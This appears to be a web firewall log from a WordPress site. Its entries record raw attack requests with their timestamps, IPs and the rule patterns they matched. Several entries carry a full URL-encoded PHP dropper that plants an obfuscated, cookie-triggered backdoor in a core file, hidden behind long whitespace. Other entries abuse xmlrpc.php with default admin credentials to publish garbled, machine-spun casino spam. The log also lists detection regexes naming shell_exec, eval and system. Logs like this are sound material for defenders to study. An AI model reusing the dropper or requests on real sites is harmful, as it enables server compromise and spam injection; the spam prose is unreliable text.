0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\n\nnE=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/feed-atom-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B46-46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B85-84%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B70-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B55%252B-51%255D%2529%2529%2520%257B%2520%2524reference%2520%253D%2520%2524_COOKIE%253B%2520function%2520task_processor%2528%2524record%2529%2520%257B%2520%2524reference%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527723f057a%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dependency_resolver%2522%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524reference%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524ent%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ent%252C%2520%2524descriptor%2529%253B%2520fclose%2528%2524ent%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522task_processor%2522%2529%253B%2520%2524rec%2520%253D%2520%2522f3ba1c49967d4cd67cde33a9c687eb28%2522%253B%2520if%2520%2528%2521strncmp%2528%2524rec%252C%2520%2524reference%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522data_storage_initialized%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:46:43","46.62.254.35","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> cB:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/feed-atom-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B46-46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B85-84%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B70-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B55%252B-51%255D%2529%2529%2520%257B%2520%2524reference%2520%253D%2520%2524_COOKIE%253B%2520function%2520task_processor%2528%2524record%2529%2520%257B%2520%2524reference%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527723f057a%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dependency_resolver%2522%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524reference%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524ent%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ent%252C%2520%2524descriptor%2529%253B%2520fclose%2528%2524ent%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522task_processor%2522%2529%253B%2520%2524rec%2520%253D%2520%2522f3ba1c49967d4cd67cde33a9c687eb28%2522%253B%2520if%2520%2528%2521strncmp%2528%2524rec%252C%2520%2524reference%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522data_storage_initialized%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4328\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-user:?1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvL0VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\n\ncB=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/feed-atom-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B46-46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B85-84%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B70-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B55%252B-51%255D%2529%2529%2520%257B%2520%2524reference%2520%253D%2520%2524_COOKIE%253B%2520function%2520task_processor%2528%2524record%2529%2520%257B%2520%2524reference%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527723f057a%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dependency_resolver%2522%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524reference%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524ent%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524ent%252C%2520%2524descriptor%2529%253B%2520fclose%2528%2524ent%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522task_processor%2522%2529%253B%2520%2524rec%2520%253D%2520%2522f3ba1c49967d4cd67cde33a9c687eb28%2522%253B%2520if%2520%2528%2521strncmp%2528%2524rec%252C%2520%2524reference%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522data_storage_initialized%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:46:49","156.59.166.213","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","select.+(from|limit) >> <?xml version:\"1.0\" encoding=\"UTF-8\"?>\r\n<methodCall>\r\n  <methodName>wp.newPost<\/methodName>\r\n  <params>\r\n    <param><value>1<\/value><\/param>\r\n    <param><value>admin<\/value><\/param>\r\n    <param><value>Admin@123<\/value><\/param>\r\n    <param>\r\n      <value>\r\n        <struct>\r\n          <member><name>post_type<\/name>\r\n            <value>post<\/value><\/member>\r\n\t\t  <member><name>post_status<\/name>\r\n            <value>publish<\/value><\/member>\r\n\t\t  <member><name>post_title<\/name>\r\n            <value><![CDATA[Best Local casino App and Slots Supplier]]><\/value><\/member>\r\n\t\t  <member><name>post_content<\/name>\r\n            <value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Content<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">And this slots web sites get the very best profits?<\/a><\/li><li><a href=\"#toc-1\">The 5 Better High Blue Slot Casinos within the Malaysia<\/a><\/li><li><a href=\"#toc-2\">Are there incentives designed for playing the nice Blue Position?<\/a><\/li><li><a href=\"#toc-3\">The fresh Stacked Nuts<\/a><\/li><\/ul><\/div>\n<p>In this book, you’ll can enjoy, secret have for example RTP and you may volatility, and you will the best places to play the Great Blue slot for <a href=\"https:\/\/vogueplay.com\/au\/reactoonz\/\">go right here<\/a> real currency at the top Malaysian local casino internet sites. You need to keep in mind there's no guaranteed strategy one will make you win in the online slots games, while the the position web sites have a statistical advantage over participants in the the long run. <!--more--> Online gambling internet sites fool around with bonuses, as well as no deposit bonuses, deposit incentives, and you may totally free revolves, to draw the new professionals and provide her or him an incentive to make a free account and start to experience. Right now, of numerous professionals choose playing online casino games on the phones, for this reason a lot of the better slot websites is actually enhanced to possess mobile play.<\/p>\r\n<h2 id=\"toc-0\">And this slots web sites get the very best profits?<\/h2>\n<p>The software program supplier gets professionals other inspired titles for example Green Lantern, The brand new Matrix, Miss Fortune, Beach Existence, Buffalo Blitz, and you may Period of the brand new Gods. Casinos in the usa are spoilt for choices when it comes in order to totally free harbors. The newest symbols to the video game through the Blue Whale, and that functions as the newest Crazy and contains a maximum payout out of 10,one hundred thousand coins. So it point in addition to explains different incentives you can hope for because you enjoy. The new digital display screen at the bottom has got the info key to your the newest left as well as the spin button to the right.<\/p>\r\n<ul><li>An informed modern jackpot slots can be come to perks as much as several million when you are fortunate.<\/li><li>Think starting with reduced wagers to give your own fun time while increasing your odds of showing up in financially rewarding bonus bullet.<\/li><li>Once you’ve done so you can begin spinning the good Blue position reels!<\/li><li>The brand new scatter added bonus round is the 100 percent free spins bullet, since the crazy extra round 's the jackpot-successful bonus bullet.<\/li><li>Very game have a similar household edge at each betting web site, which means that your game possibilities may be more critical versus position webpages you play at the.<\/li><\/ul>\r\n<h2 id=\"toc-1\">The 5 Better High Blue Slot Casinos within the Malaysia<\/h2>\n<p>For many who victory lots, mode money away to own taxation is a smart circulate. In lot of places, gambling payouts are considered taxable earnings, even if the web site alone doesn’t statement her or him immediately. Here are some federal resources open to participants feeling signs and symptoms of habits. Within these date-outs, players don't sign in its accounts or place bets of every kind.<\/p>\r\n<h2 id=\"toc-2\">Are there incentives designed for playing the nice Blue Position?<\/h2>\n<p>The word “slot” is a general umbrella coating a massive and ever-broadening world from online game. A knowledgeable ports websites is actually transparent about this information. A position with a keen RTP out of 96% usually, more scores of spins, pay off $96 for each $100 wagered. Having 1000s of gambling games from countless team, the newest range is nearly limitless.<\/p>\n<img src=\"https:\/\/www.wsop.com\/images\/imagestore\/flashlarge\/20100928_31_James_Bord_Winner_and_friends_5308.jpg\" alt=\"thunderstruck 2 online casino\" align=\"left\" border=\"0\">\n<p>A brief history from playing in america is interesting and you may schedules completely back into the brand new 1600s. As previously mentioned, says handle her gaming laws and regulations. The software supplier market is extremely competitive which is just increasing in the us.<\/p>\r\n\r\n<ul><li>The brand new video slot, Great Blue, is made using HTML5 technical.<\/li><li>The rise out of electronic currencies provides triggered the newest introduction away from crypto casinos.<\/li><li>The beauty of Slotomania is that you can play it anywhere.You could potentially enjoy totally free ports out of your desktop computer at your home or their cell phones (mobile phones and you may pills) when you’lso are on the move!<\/li><\/ul>\n<p>But not, the true adventure often is dependant on the fresh great features. It individually has an effect on the exhilaration, shelter, and also the equity of your game you play. So it, in turn, allows one comprehend the full image and select an educated slots local casino one aligns very well along with your choice. At the top for the page, you can find Casinogy's handpicked number of a knowledgeable ports websites, carefully evaluated by the pro team.<\/p>\r\n<h2 id=\"toc-3\">The fresh Stacked Nuts<\/h2>\n<p>Although not, if you are searching for more interaction, there are even live broker online casinos that you may possibly discuss. At every on the internet slot gambling enterprise, there's multiple payment actions that offer exceptional privacy. Of several best All of us position websites will let you play right from a mobile browser. While you are these types of applications be noticeable because of expert structure, smooth operation, and you can fun video game, you do not always need download you to definitely access a gambling establishment out of your mobile. These types of apps give a profile out of cellular position games out of various other developers to give a wide selection of alternatives. We see programs compatible with Ios and android devices, that have fun incentives to own smartphone people.<\/p>]]><\/value><\/member>\t  \r\n\t\t  <member><name>post_date_gmt<\/name>\r\n            <value><dateTime.iso8601>20260512T13:46:47<\/dateTime.iso8601><\/value><\/member>\r\n\t\t  <member><name>post_name<\/name>\r\n            <value><![CDATA[best-local-casino-app-and-slots-supplier]]><\/value><\/member>\r\n          \r\n        <\/struct>\r\n      <\/value>\r\n    <\/param>\r\n  <\/params>\r\n<\/methodCall>","POST \/xmlrpc.php HTTP\/1.1\ncontent-length:7143\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36\nconnection:Close\ncontent-type:text\/xml; charset=utf-8\nhost:dewenlabels.com\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<methodCall>\r\n  <methodName>wp.newPost<\/methodName>\r\n  <params>\r\n    <param><value>1<\/value><\/param>\r\n    <param><value>admin<\/value><\/param>\r\n    <param><value>Admin@123<\/value><\/param>\r\n    <param>\r\n      <value>\r\n        <struct>\r\n          <member><name>post_type<\/name>\r\n            <value>post<\/value><\/member>\r\n\t\t  <member><name>post_status<\/name>\r\n            <value>publish<\/value><\/member>\r\n\t\t  <member><name>post_title<\/name>\r\n            <value><![CDATA[Best Local casino App and Slots Supplier]]><\/value><\/member>\r\n\t\t  <member><name>post_content<\/name>\r\n            <value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Content<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">And this slots web sites get the very best profits?<\/a><\/li><li><a href=\"#toc-1\">The 5 Better High Blue Slot Casinos within the Malaysia<\/a><\/li><li><a href=\"#toc-2\">Are there incentives designed for playing the nice Blue Position?<\/a><\/li><li><a href=\"#toc-3\">The fresh Stacked Nuts<\/a><\/li><\/ul><\/div>\n<p>In this book, you’ll can enjoy, secret have for example RTP and you may volatility, and you will the best places to play the Great Blue slot for <a href=\"https:\/\/vogueplay.com\/au\/reactoonz\/\">go right here<\/a> real currency at the top Malaysian local casino internet sites. You need to keep in mind there's no guaranteed strategy one will make you win in the online slots games, while the the position web sites have a statistical advantage over participants in the the long run. <!--more--> Online gambling internet sites fool around with bonuses, as well as no deposit bonuses, deposit incentives, and you may totally free revolves, to draw the new professionals and provide her or him an incentive to make a free account and start to experience. Right now, of numerous professionals choose playing online casino games on the phones, for this reason a lot of the better slot websites is actually enhanced to possess mobile play.<\/p>\r\n<h2 id=\"toc-0\">And this slots web sites get the very best profits?<\/h2>\n<p>The software program supplier gets professionals other inspired titles for example Green Lantern, The brand new Matrix, Miss Fortune, Beach Existence, Buffalo Blitz, and you may Period of the brand new Gods. Casinos in the usa are spoilt for choices when it comes in order to totally free harbors. The newest symbols to the video game through the Blue Whale, and that functions as the newest Crazy and contains a maximum payout out of 10,one hundred thousand coins. So it point in addition to explains different incentives you can hope for because you enjoy. The new digital display screen at the bottom has got the info key to your the newest left as well as the spin button to the right.<\/p>\r\n<ul><li>An informed modern jackpot slots can be come to perks as much as several million when you are fortunate.<\/li><li>Think starting with reduced wagers to give your own fun time while increasing your odds of showing up in financially rewarding bonus bullet.<\/li><li>Once you’ve done so you can begin spinning the good Blue position reels!<\/li><li>The brand new scatter added bonus round is the 100 percent free spins bullet, since the crazy extra round 's the jackpot-successful bonus bullet.<\/li><li>Very game have a similar household edge at each betting web site, which means that your game possibilities may be more critical versus position webpages you play at the.<\/li><\/ul>\r\n<h2 id=\"toc-1\">The 5 Better High Blue Slot Casinos within the Malaysia<\/h2>\n<p>For many who victory lots, mode money away to own taxation is a smart circulate. In lot of places, gambling payouts are considered taxable earnings, even if the web site alone doesn’t statement her or him immediately. Here are some federal resources open to participants feeling signs and symptoms of habits. Within these date-outs, players don't sign in its accounts or place bets of every kind.<\/p>\r\n<h2 id=\"toc-2\">Are there incentives designed for playing the nice Blue Position?<\/h2>\n<p>The word “slot” is a general umbrella coating a massive and ever-broadening world from online game. A knowledgeable ports websites is actually transparent about this information. A position with a keen RTP out of 96% usually, more scores of spins, pay off $96 for each $100 wagered. Having 1000s of gambling games from countless team, the newest range is nearly limitless.<\/p>\n<img src=\"https:\/\/www.wsop.com\/images\/imagestore\/flashlarge\/20100928_31_James_Bord_Winner_and_friends_5308.jpg\" alt=\"thunderstruck 2 online casino\" align=\"left\" border=\"0\">\n<p>A brief history from playing in america is interesting and you may schedules completely back into the brand new 1600s. As previously mentioned, says handle her gaming laws and regulations. The software supplier market is extremely competitive which is just increasing in the us.<\/p>\r\n\r\n<ul><li>The brand new video slot, Great Blue, is made using HTML5 technical.<\/li><li>The rise out of electronic currencies provides triggered the newest introduction away from crypto casinos.<\/li><li>The beauty of Slotomania is that you can play it anywhere.You could potentially enjoy totally free ports out of your desktop computer at your home or their cell phones (mobile phones and you may pills) when you’lso are on the move!<\/li><\/ul>\n<p>But not, the true adventure often is dependant on the fresh great features. It individually has an effect on the exhilaration, shelter, and also the equity of your game you play. So it, in turn, allows one comprehend the full image and select an educated slots local casino one aligns very well along with your choice. At the top for the page, you can find Casinogy's handpicked number of a knowledgeable ports websites, carefully evaluated by the pro team.<\/p>\r\n<h2 id=\"toc-3\">The fresh Stacked Nuts<\/h2>\n<p>Although not, if you are searching for more interaction, there are even live broker online casinos that you may possibly discuss. At every on the internet slot gambling enterprise, there's multiple payment actions that offer exceptional privacy. Of several best All of us position websites will let you play right from a mobile browser. While you are these types of applications be noticeable because of expert structure, smooth operation, and you can fun video game, you do not always need download you to definitely access a gambling establishment out of your mobile. These types of apps give a profile out of cellular position games out of various other developers to give a wide selection of alternatives. We see programs compatible with Ios and android devices, that have fun incentives to own smartphone people.<\/p>]]><\/value><\/member>\t  \r\n\t\t  <member><name>post_date_gmt<\/name>\r\n            <value><dateTime.iso8601>20260512T13:46:47<\/dateTime.iso8601><\/value><\/member>\r\n\t\t  <member><name>post_name<\/name>\r\n            <value><![CDATA[best-local-casino-app-and-slots-supplier]]><\/value><\/member>\r\n          \r\n        <\/struct>\r\n      <\/value>\r\n    <\/param>\r\n  <\/params>\r\n<\/methodCall>"]
["2026-05-12 21:46:50","156.59.166.213","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","select.+(from|limit) >> <?xml version:\"1.0\"?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param><value><array><data>\r\n  <value><int>0<\/int><\/value>\r\n  <value><string>admin<\/string><\/value>\r\n  <value><string>Admin@123<\/string><\/value>\r\n  <value><struct>\r\n  <member><name>title<\/name><value><![CDATA[Best Local casino App and Slots Supplier]]><\/value><\/member>\r\n  <member><name>description<\/name><value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Content<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">And this slots web sites get the very best profits?<\/a><\/li><li><a href=\"#toc-1\">The 5 Better High Blue Slot Casinos within the Malaysia<\/a><\/li><li><a href=\"#toc-2\">Are there incentives designed for playing the nice Blue Position?<\/a><\/li><li><a href=\"#toc-3\">The fresh Stacked Nuts<\/a><\/li><\/ul><\/div>\n<p>In this book, you’ll can enjoy, secret have for example RTP and you may volatility, and you will the best places to play the Great Blue slot for <a href=\"https:\/\/vogueplay.com\/au\/reactoonz\/\">go right here<\/a> real currency at the top Malaysian local casino internet sites. You need to keep in mind there's no guaranteed strategy one will make you win in the online slots games, while the the position web sites have a statistical advantage over participants in the the long run. <!--more--> Online gambling internet sites fool around with bonuses, as well as no deposit bonuses, deposit incentives, and you may totally free revolves, to draw the new professionals and provide her or him an incentive to make a free account and start to experience. Right now, of numerous professionals choose playing online casino games on the phones, for this reason a lot of the better slot websites is actually enhanced to possess mobile play.<\/p>\r\n<h2 id=\"toc-0\">And this slots web sites get the very best profits?<\/h2>\n<p>The software program supplier gets professionals other inspired titles for example Green Lantern, The brand new Matrix, Miss Fortune, Beach Existence, Buffalo Blitz, and you may Period of the brand new Gods. Casinos in the usa are spoilt for choices when it comes in order to totally free harbors. The newest symbols to the video game through the Blue Whale, and that functions as the newest Crazy and contains a maximum payout out of 10,one hundred thousand coins. So it point in addition to explains different incentives you can hope for because you enjoy. The new digital display screen at the bottom has got the info key to your the newest left as well as the spin button to the right.<\/p>\r\n<ul><li>An informed modern jackpot slots can be come to perks as much as several million when you are fortunate.<\/li><li>Think starting with reduced wagers to give your own fun time while increasing your odds of showing up in financially rewarding bonus bullet.<\/li><li>Once you’ve done so you can begin spinning the good Blue position reels!<\/li><li>The brand new scatter added bonus round is the 100 percent free spins bullet, since the crazy extra round 's the jackpot-successful bonus bullet.<\/li><li>Very game have a similar household edge at each betting web site, which means that your game possibilities may be more critical versus position webpages you play at the.<\/li><\/ul>\r\n<h2 id=\"toc-1\">The 5 Better High Blue Slot Casinos within the Malaysia<\/h2>\n<p>For many who victory lots, mode money away to own taxation is a smart circulate. In lot of places, gambling payouts are considered taxable earnings, even if the web site alone doesn’t statement her or him immediately. Here are some federal resources open to participants feeling signs and symptoms of habits. Within these date-outs, players don't sign in its accounts or place bets of every kind.<\/p>\r\n<h2 id=\"toc-2\">Are there incentives designed for playing the nice Blue Position?<\/h2>\n<p>The word “slot” is a general umbrella coating a massive and ever-broadening world from online game. A knowledgeable ports websites is actually transparent about this information. A position with a keen RTP out of 96% usually, more scores of spins, pay off $96 for each $100 wagered. Having 1000s of gambling games from countless team, the newest range is nearly limitless.<\/p>\n<img src=\"https:\/\/www.wsop.com\/images\/imagestore\/flashlarge\/20100928_31_James_Bord_Winner_and_friends_5308.jpg\" alt=\"thunderstruck 2 online casino\" align=\"left\" border=\"0\">\n<p>A brief history from playing in america is interesting and you may schedules completely back into the brand new 1600s. As previously mentioned, says handle her gaming laws and regulations. The software supplier market is extremely competitive which is just increasing in the us.<\/p>\r\n\r\n<ul><li>The brand new video slot, Great Blue, is made using HTML5 technical.<\/li><li>The rise out of electronic currencies provides triggered the newest introduction away from crypto casinos.<\/li><li>The beauty of Slotomania is that you can play it anywhere.You could potentially enjoy totally free ports out of your desktop computer at your home or their cell phones (mobile phones and you may pills) when you’lso are on the move!<\/li><\/ul>\n<p>But not, the true adventure often is dependant on the fresh great features. It individually has an effect on the exhilaration, shelter, and also the equity of your game you play. So it, in turn, allows one comprehend the full image and select an educated slots local casino one aligns very well along with your choice. At the top for the page, you can find Casinogy's handpicked number of a knowledgeable ports websites, carefully evaluated by the pro team.<\/p>\r\n<h2 id=\"toc-3\">The fresh Stacked Nuts<\/h2>\n<p>Although not, if you are searching for more interaction, there are even live broker online 